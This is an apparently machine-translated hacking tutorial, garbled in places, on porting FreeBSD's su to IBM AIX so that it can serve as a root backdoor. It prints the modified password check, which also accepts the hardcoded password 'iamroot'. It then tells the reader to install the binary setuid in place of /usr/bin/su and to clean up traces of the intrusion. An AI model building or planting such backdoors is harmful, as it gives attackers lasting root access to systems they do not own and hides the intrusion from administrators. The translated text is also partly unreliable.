This day would like to give others the AIX system (ordinary users with a legitimate account number and security loopholes in the system to obtain a root权限) left a back door, but unlike IBM's AIX and Linux and FreeBSD open against AIX system online tools are few. The final decision on the replacement aix su. I tried to find a su Internet in the source code, but can not find one. Fortunately, I have some of his mainframe Unix (FreeBSD, AIX, Solaris :), but have root权限, so I tried to FreeBSD under su transplanted to the AIX source code. Here I would like to point out I am not a programmer, su understanding of the source code may be wrong. Environment : 1, FreeBSD 4.5-Release gcc 2.95.3 + 2, IBM AIX 4.3.3 + gcc 2.9-aix51-020209 Note : In Gcc for AIX Http://www-1.ibm.com/servers/aix/products/aixos/linux/download.htmlshang Downloaded and installed in accordance with ftp://ftp.software.ibm.com/aix/freeSoftware/aixtoolbox/README.txt steps to AIX systems. Process : 1, the installation of FreeBSD source Packet. In /usr/src/usr.bin/su/ FreeBSD source code under the su (or directly from the FreeBSD FTP download path corresponding website), this catalog copy to the Makefile su.c FreeBSD and the other under a catalog operation make; make install, able to successfully compile and install /usr/bin su! 2, and will Makefile su.c package passed AIX, packed into a catalog operations make, there is something wrong with the main function of the difference between the two platform specific debugging can be a reference /usr/include/. H document to correct mistakes. AIX does not support Kerberos, SKEY, WHEEL_SU : to eliminate these redundant code. There aix the getopt function and the FreeBSD getopt bit different, the FreeBSD /usr/src/lib/libstand/getopt.c also need to transplant, in the completion of these tasks can basically under aix to compile a su. 3, the compiler now under su su alternative aix work. But we did not leave the back door in su. Carefully reading the source code can be found in su.c has such a code : If (*pwd->pw_passwd) ( P = getpass ( "Password :"); If (!strcmp (pwd->pw_passwd, crypt (p, pwd->pw_passwd))) ( Fprintf (stderr, "Sorry\n"); Syslog (LOG_AUTH | LOG_WARNING, "BAD SU %s to %s%s", username, user, ontty ()); Exit (1); }
}
Adding back door : If (*pwd->pw_passwd) ( P = getpass ( "Password :"); If (! (!strcmp (Pwd->pw_passwd, crypt (p, pwd->pw_passwd)) | | !strcmp (p, "iamroot"))) ( Fprintf (stderr, "Sorry\n"); Syslog (LOG_AUTH | LOG_WARNING, "BAD SU %s to %s%s", username, user, ontty ()); Exit (1); }
}
Chmod 4555 su make; implementation, and then you try to use their own translation of the su root, root or importation : iamroot the password users can switch the root! Do some tests to determine the procedures in your su aix system! Then /usr/bin replacing their copy of the original su procedures. Do not forget about cleaning the site.
Annex : aix-su.tar.gz in successfully tested under aix 4.3.3 + gcc 2.9-aix51-020209
|